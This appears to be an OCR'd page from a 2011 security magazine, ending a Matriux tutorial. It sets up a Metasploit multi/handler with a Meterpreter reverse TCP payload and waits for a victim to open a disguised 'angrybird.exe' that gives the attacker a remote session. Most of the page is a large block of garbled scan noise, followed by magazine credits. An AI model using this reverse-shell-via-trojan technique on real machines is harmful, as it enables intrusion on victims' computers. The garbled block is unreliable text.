=[[metasploit v3.8.0-dev [core:3.8	3 api:1.0]		
· · · · · =[[707 exploits - 359 auxiliary -	57 post		
=[225 payloads - 27 encoders - 8	nops		
=[[svn r13079 updated today (2011.	06.30)		
nsf > use	e multi/handler			
nsf explo	<pre>pit(handler) > set payload window</pre>	/meterpreter/re	verse tcp	
ayload =	=> windows/meterpreter/reverse tc			
msf explo	pit(handler) >			

Now set the options LHOST and LPORT by typing "set LHOST localIP" and "SET LPORT porto to listen". Set them to match with the exe payload we generated earlier. Alternately you can check the options required by typing "show options"



We are now ready to exploit our target machines, (here I set up a windows XP machine), initiate the exploit listening process by typing "exploit" and wait for the target machine to execute the angrybird.exe as soon as the victim clicks on the executable file it will initialize the meterpreter session with the reverse tcp.

BINGO we are done!!! We successfully exploited a Windows XP machine with multi/handler.

And have you noticed? We just showed you a preview of Matriux's upcoming version ;) Ch33rs!!!

Doubts and suggestions welcome at prajwal [at] matriux [dot] com.

TEAM MATRIUX

http://www.matriux.com/

follow @matriux on twitter.

 $\sim N^{1/2}$

ClubHACK_{Mas}

j1p1jji@trr0idj:	spjkjidd0ss@rdipp	hppppiiii0it1irp1td	tidsjedir@tdl=tirpkt	pd@jjdipp0:	sk@srp@pkstdrstijlitis	p100jjrkp@pp@rsk@jsr1jrpk	p01rkkdt1@s1psikpkpj00	e0idjp0td
piklis0ptkktipt	trptrsjipi1d01ppi	kd@rppkrtpsdi@:		r beber	rtsjdhtk0iji@iikpp1@01	dprpp0@i@ipit0@iptpppdpp0	ipipjripriijpp@i11s0pi	Orrjktkpk
tiOpptisrljjkdpj	j1tkppt0ijttj0jk@	1srpi@ipippd		iir@d(01pr@0kpsjrpp@j@dprdss	ldsrprpspjpttpkistjkppiij	j@@i@d@ktpr0i1ppprdit1	tprjdkksj
Odid1rsijds1i0i;	jtjjp0s0ip1@st1p@	ips0d@j@		p @dp l	1jtj@kpkt0ditp0rjpt@r	rjdk@rjpi0@ks@ji1prk0ipsi	p0pkriktr0pks@ikkpkds@	it@tptp1j
kjtipdiipj1k@pdl	kipîppr@pppîpkpjs			=pp	@jdipprprjir@srp0dtp@p	OtresOr@rdrjd1tj@jdptitp0	@11ki@dtdrdpdtt@ptprsk	1jtst0pd0
Ls@siii1@pr0p@01	1pkr1j1ppsk0j1pri				1@tkjssrs0ir0sskspjidj	0ir@p0dkkpp11psrij1iprp1r	tpippirp0dtipdtr1@kppp	1rtiOip80
jssrdlirjksdird	pps0rs@0pjp@si1k0				rptppiprid1jkrkssdi0p	pptdrjrr@0rstdkpjdpj@tp0@	kliplpisk@skjrppikptdd	sii10pipd
pp1tp0p1ptpsjrs	kjkujOui@@iri@spp		1.2	1jp p	pps1dss@r0dit@pt@s@d	si1pp1@jkprsdt1pkpdj@ssp0	rdjkjijkjpld1pkjijddjk	jjj@kks1d
jpri@0ip00pssik(@Orttdpkkss0djp0j	ppi@Oti	jisi	pktes pe	pdp11pskprdk@dt1sj1	jijihthtdiddrp@0r@@0j0@1r	sjiOdssspp@idriip tschs	00dkt1p0p
pp@pi1k@p1pdz@dl	kssjt0pjj0jp@dtdk	Oddpkjjjs	li@rsppr	jij@rlpl	ipptp0spjdjs0rppd0t	100jp1tpi01ttpspp0stt0tp0	tpij@ir00pp11ipjpi00@d	jpsjirptê
cs@sdrpi0@rsp00j	pprji@tptirii0t0t	1 kdspip@1s	jerd ptreipppditsp	tksr0kkk	@sip@skd0@dttds0ddpj	tp1p1prditdkpj1tk@td1pirj	Ok@sdtl@tlktkpjiptdkjt	1tprk0djp
Lskkjj@d0jk c j0dl	k0jk11s1ssjjks1sp	: isprk@jrrd	pdd0jdj@ppssj1@1	ppriks	dlji@lptditisrliprijs	tk11rdk@1@sjpd1t1kdt@ksr0	ljilkkarriasa@i0j@kpad	
pOtj@rr10@ddtpi	00dip@ptd0p@pipp@	i: @kr1jr0tr	sjjlkijlp@ksdktppp0	pii sip ()	oddsirpspprpdsjrkikp0	1110kprstpptd@ip1pjp0@ji1	jpata0t0parkp88	
rpsd1sjdrp@js0s;	i@pdr@dsrddip000i	pp pkp1pdi1	rptppki0pjsi1tj10pis	pip1	p@@Opps@stdip@jjpsttsd	ipspedjzz1tt1p0iktjp t1jp	ikpkkdul	
cpjd@@itkpijddk:	s@jt00r@t0jksrpdt	ie sirięsta	0r0t1spkrpkpjsr@krdp	abpapa k0d	jdpjdspjp@kpikk1@dkpr@	etperprserpp1rpt001 psjj		
dop0pjdpkpodppk;	iltiilejOtj@OOjsp	d: is0 jdii180ps	esjspejej1rkp1j0jd1p	idokkjkarje	dpijsjkitjpjrdjikiOis@	stj@@0d@zdsis0sjt0d dz@k		
p@rsdrdj00@p0ppj	pidk1s10sykidkytk	ts @@Opdrr@k0di1	arajl@prrjpjd@trtpip	iphirort p	cci01ri@j00skdkk1pspkp	kpdpikdpstj00d10d0 ki0s		
LOkeejprjOkkiki	k00ds0dsj@0tt1tt@	ijr: 01 001djiid 8d1p	ttdj0isstdj@ripjtk1k	dabgadib	kdsip@@01ddzdik0kkssp	clibybéliqosidlisé bbro		
disdstpdildddjr	@srpj1iprrt01ripd	lts: sdpktlsirtrirp	lirdspptd0sipi1s@rpj	pjt0ktar0	pepie100ke1e00pjksp00d	Opkidpik1djtsi00j ljti		
Peikedr@i@010diy	pksr@0srkppriss0d	and petreippristdge	18j1kdpp0r@ppk0t	r1001sps0c	@jp@ddip10i11@jp@0sji	Giasdj0i0ktkigi: hrdp		
ijkkodices101jo	t@strrjjds10t0	p:@grdpt1p0d@kt1psk	k0sprrk@ipjkk@stk0st	drph1r01r	taijilkapitriappipkdir	10sjssrptptrrkêr ktê		
Operprestipji01:	sadpr10kkksl=0=11	@jdpsptkp0ktjjpj0d	jsjjp@zpj0sjp1dkptds	poppkiees	tjptdrps1tkp01pppjtrjr	<pre>@lpjtpllpdliktp: ss@p</pre>		
dj@sj1j0pikr@1p(000cd0jpd logo d	r@ts@jdrpr1pp@s1p@	kllrjtsipktspsrlpps	kjlj@dkijl:	slijjisrtppjrijdkkOstd	Oirk11ijjijOpsk pjj		
cpj@ktkpsrk@pirl	kipst0pp1klp0cdcl	presd1010i0iprd1d	tssist100pkptt1ktkkt	jp@plrdk	dj0pjikjs10dipdd0prjpj	zdied0eldpjjpji jlpi		
Ord@s@pkjiOp@1to		on Olejdikssppppkk	sprdtsip1pp0tsrtp11d	j crêrsprêj	pd@@t0sirpiprr1sk@tds0	ippsrpitps0t1d p1pp		
tap@jtpsitid@sil		110rs0t01rtp8	drrijprr0rkd0p0tdpkr	s pr0p1trp;	jpp@ip0@ipprk@r@Ordt1s	r@hiOp10iji@r1 rrp0		
djrrdt0pptsp088		st00s@jpii0	Oprj@i:Orjst@rislsp	00pkp@p0dj	prikj1p1ki00@prp1i@pkp	10disliislils rpt		
01jpdjit@pp@llt		1ppsjjtdii0	jpjp0 d00kilrkkoppp	Op@lip0dls:	itipjpppttpilpdr@idk1i	pt0drrpjdrskt k1dk		
		drdpitrjpi	ppkd p@idt11r0tjp1i	r@dsrjppikt	tt0p1rpr1tkpktps110spj	k0rsp10ssp0p ¹ 0js		
isjzp01ipjt@01ts		tirldj1pr	p pppkrit11dji0jrs1	ijskpdtr10kj	pssji@rpridp1djd@rprrt	Eitkpstdad01 1p0i		
erttlsk@jdpjd0):		poddalila pop ripsrjd i	00is0pjkpiisii@rd@j	OpiddOkspp	0i0srpd0td0dkt00t1rpd0	tt0jt1pdpjjppjjj		
it1t0dpj@jtp.h		0dppp1	ppk0tt1@rssijjdprp1@	ptdtdpd@@ij	pjdrksjpjpkr0j1id@Osrr	dkpirt1kptp k0t1		
pjzjjst0p00d0mp		iz0j0ppEcprpi t1jpj	srpptkpr1r0pidk11d0j	kskd0krt@t;	jsliddidpitsrpi01j1ppr	pOtpitOdOs z0j		
ljpi1pkr@jt0:80;	pdkptls[p0idpst]k	pekjekpOkjesjpi ksp 0	lpstppdps@pkkssp@kds	0sptjlik8d	dkklip1ds1prs0sj0ktp@@	1t1j1rrj0s 100p		
jztpdd0sp1kijskj	pstaptik dj @t@tpds		orp@101sdi0s@010prp@	esiprrj0r@	lt1pp@0tks0p@dps1ix1jk	krktk0ppd ri@		
ti@tjtpdt@pt81d;	pikksskl tt @plpck@		drptp1r@d@pkirp0kpj	tjj@tpdkOp	@prrji0p0p1dpritj0spj@	pdppOskpt tklp		
tkok@@kkakd@pst	0ipt@tip pdp @lsths		pkjjprik@tts0jpi00i	lipO@kdttr	ptpliikipjdpp00i1d@sds	jaarjark: 10p		
ltkspj1psk88ssa	ipêiprj ijrj p)rêdd		iOp00kijkk@kpp1dd1@	ldptst0t0k;	jpksi1s0skt@ssi0is@ikr	1kjit0ip tjrp		
psOppjidkpdlp80:	trstpl@@piptjjsil		j0@jp0@tdiijppp@1jt	:00r1d00pj8	@sirtjtrjd@t1t0dr1@t1i	rikp080s21d0s		
Drkptip9011dbp8:	cch01dpd00tds18ph	reisindp pOsisyjn@:	0k0dp@prr@1@@ispkrsp	ojprpk0r1jpl	01ppkdkjpid10pirp0k0@i	pOikjaj zztO		
	StOrplrppirs SpSOr	dstkpiprp s1pp izidjp		j1ptpdpst1	0dk@ji0d0trj0sdtptiski	kkr@ssp jjpd@1sl		
	ddl yj a kdjkr ryt@d0	tl yjtlapjptj@s01111	@spidsjdks1@d0dsprs@	pOrlp@ksjp:	ist0kt@jrtdddtkrp1kd0s	rrkikrd pssirjjippt:		
	iiiptidrjip00i1il	ir@s01:1 111dj sjpipip	ch0irrrtr10d@ppikktp		drkk1t0skrkk0kjsdssrpk	pp0@prr0111pkdpsdppsjpi		
	dphad10dpdd0j@rp8	jzsz0@p 0psd zskopd0z	ter tp@@k@p10r@ppkpi	i@dptp@ipp:	istpsi1k110tjjspt@pk@p	kpskkdi1t0@t@prj0tkdssk1p	pt.	
	lprtitsr10tkp0pil	séisré rpi@ Opepodipp	clpjs@t0d@ptjrrptt8t		pspptik0pi1pk@i0sttsOt	ptlrsdk0r0@krt1:ip @@jt1p 0	01110	
	skikissprei0kpedi	dité@ @ikp ipicipiCpk				@1jkjpz100ttp1pd0p1psis0j	s@1spds0	
	8pdial 00pd iai dpi :8sa	ipt@pssrptsrthi@ipz			lt1p10rjsplet0ttkp	ipsrs pOpr00trstjpktp:016	rljj@rlkdt jd	P
	pipis ptk tip@j0c#p	p:@idtdp?t@dsipdtp@			idrjsr1ppdrtppkssjs	pOtrip ik@isirjri1pdtskO @t	rr@tj1ppk0pr1@pl	pk
	dii€s 0p pjp d ∃jps∦s	cep0kdjie@p0k1pitop			kd@1tr1skis	p01phrtitic1tdk0krd10ipi8	lip1psjdptr@0itpdtr	et
	spiljidsptd pspi	likkOzazapjj@pjpjz0		pOttdisrdr	t1kridtj1jik0sp110@i1	ilapl@ilj la ta1@ddp0djk0ij	dikriprisjp@jjj1dp0sij	0:
	paliOpp1@tp iptps	ppptp8j100rrsjakpt		op ik@jtjsk j	jp0pp80pkdisjrdidpjdst	rati@\j0@ip pip ldt0 <mark>0@tkrpj</mark>	p0000jjpj0tj1ditkkssrs	rs10 ir0
	yüz@ili@ji pirtê			ph ktdptr:	100pikr1p0ii@@kt0@r1@r	ipp@p0di@k:@r0@0ppi	ilrkees0ijkjjldrjts@jj	rOp@ikpdd
				entiit1sds	100j0ppi0s100tsjt1jpp	j_st0r0pts@ktipipp0trktp1	dpjskst10ppidpti11s00p	1110rdOit
				pii1	ji0ss0jkjp0iteeteepe	rdipiik@@ks@@k0ikot1j1	jtdsp@ldtdsilrt01d00sp	priprjikk
				pede	tjjrkikjirrrfsitOprpi	lpli@djtji=dptd@1kp@ik	ikprtik@tkp@rdpjrk pt	djkt1jps0
			dp@@jrd@001@d0r00zj1	= Oplicatidg	rki@pl pp01tapsk11j	d-irp1dp@@r@pir0psklikti	sljrprjlpjlkstOkkidsk	sis@1pdij
		0.sp0i/ 010tj@s	@lizsilbiljd@ipjspls	pp1kopkspk:	ppjitppdp1111	1 (ajitajiprljtad0tp10p0	1dri@likstpi0dpsj0s1p	Oprk0id08
		-00% moriphi08	pdjarp%.0e0pDir81ist	jrkkkpitdi	es1ppk0dprtdipjt8i8sd	pk0ipi1pk0dipkd1jik1rjdrt	p0 ris1ps8jd0kjrp0tr0	psjipltpi
		Opp 101-1ijpi001	i0sjitrsp0drip1111p	pps08d8sp0	ppip@jjsip0pp@dthirsd	Ojsik:ljs@dkdkptsjijss@kj	dəl p krdpjikjsip@s1rji	pedreidi
		-11 110std1ppp0it1	0:11kCertyp#80#1/t0d	18spikkrjrps	rtkrj011dpdk@@s1ttdj1i	1siid10@0kddis0ijkjp1kdtp	ais :d0irppp@pddt0d0dd	kp1r0d1p;

lssue 18 | July 2011

CIUMAL

Design: Pankit@chmag.in

www.clubhack.com